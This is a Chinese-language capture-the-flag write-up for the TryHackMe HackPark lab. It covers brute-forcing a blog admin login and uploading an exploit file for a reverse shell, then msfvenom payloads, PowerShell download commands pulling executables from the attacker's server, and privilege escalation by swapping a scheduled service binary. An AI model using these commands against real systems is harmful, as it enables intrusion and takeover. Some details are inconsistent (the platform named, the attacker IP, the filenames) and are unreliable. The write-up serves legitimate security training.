TryHackMe | HackPark Writeup
可以用autorecon进行波信息收集,可以自动联动nmap和gobuster,但是扫的时间很久
所以我就直接拿nmap扫了
可以看到俩个开放端口 80 3389
Task 1 Deploy the vulnerable Windows machine
Whats the name of the clown displayed on the homepage?
访问网页给了个小丑的图片(小丑回魂的角色嘛 “Pennywise”)
先记着,说不定可能是密码或者一个key
Task 2 Using Hydra to brute-force a login
类型POST
标题提示我们要暴力破解密码
访问网页,右边有个折叠栏,点开最下面有个login,点击进入admin后台登入页面
然后进行抓包,流程就不掩饰了(默认大家都会)密码本用的是kali自带的,
然后密码登入进入到后台
点击about就可以看到这个cms的一些基本信息
What is the CVE?
利用searchsploit寻找漏洞
然后可以执行命令来查看该漏洞文件里的漏洞编号
然后用vim编辑文件保存
第一个双引号是自己IP,第二个是端口,将修改后的文件重命名为PostView.ascx
这是因为在DNN平台中,这个文件名是默认的用户控件文件名,而且这个文件名也被硬编码在一些重要的DNN文件中。
因此,攻击者将上传的文件重命名为“PostView.ascx”,可以欺骗DNN平台认为这是一个合法的用户控件文件,并绕过了上传文件类型和文件名的验证。这样一来,攻击者可以成功地上传并执行恶意代码。
然后来到那个后台界面,点击content进入后点New创建新的
然后点击最后一个按钮,上传刚刚我们的漏洞文件,上传成功后选中这个文件,取个标题,然后SAVE保存
然后访问/?theme=../../App_Data/files
后得到反弹shell,执行whoami获得答案
Task 4 Windows Privilege Escalation
题目提示我们可以使用 msfvenom 生成另一个反向 shell,这就和上次Alfred的差不多
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.44.14 LPORT=6666 -f exe >shell.exe powershell -c "Invoke-WebRequest -Uri 'http://10.11.44.141:80/shell.exe' -OutFile 'shell.exe'"
一样的再shell.exe上用python命令python3 -m http.server 80
创建http服务
再开启msfconsole,然后还是一样的命令监听
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-thm-ip set LPORT listening-port //这里的port是你第二次shell文件上设置的端口 run
然后再获得的shell命令中下载我们的shell.exe,再执行
执行sysinfo得到系统信息
提权
我们可以使用一个名为 WinPEAS 的工具。 WinPEAS 是一个脚本,它可以在 Windows 机器上找到可能会被攻击者利用的路径和服务。
脚本地址:https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe
powershell -c "Invoke-WebRequest -Uri 'http://10.11.44.141:80/winPEAS.exe' -OutFile 'winPEAS.exe'"
上传成功后在meterpreter打开一个shell,执行winPEAS
所以异常服务是WindowsScheduler
接下来我们要找到和异常服务对应的正确的二进制文件名称,由之前WinPEAS 脚本执行的结果可知路径C:\Program Files (x86)\SystemScheduler,该目录有一个包含日志文件log的Events目录,通过检查日志文件揭示了一个偶尔运行一次的二进制文件:Message.exe
因为WindowsScheduler 服务定期运行,并且该服务在以管理员权限调用Message.exe。 因此,我们可以通过将目标机中的原版Message.exe 替换为我们自定义的可执行文件来生成反向 shell 从而尝试提权
重新在本地上开一个Metasploit设置一个新的监听器接收shell
然后生成Message.exe,重新监听
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.44.141 LPORT=7777 -e x86/shikata_ga_nai -f exe -o Message.exe
powershell -c "Invoke-WebRequest -Uri 'http://10.11.44.141:80/Message.exe' -OutFile 'Message.exe1'" 再利用meterpreter修改并覆盖原Message.exe文件即可 mv Message.exe Message.bak #备份原文件 mv Message1.exe Message.exe #在meterpreter会话界面输入该行命令(要先进入原Message.exe文件目录下)
然后再在meterpreter修改并覆盖
等一会然后刚刚新开的监听就接受到shell了
type C:\Users\jeff\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt
Using winPeas, what was the Original Install time? (This is date and time)
获得管理员权限之后,我们可以查询系统原始安装时间:
systeminfo | findstr Date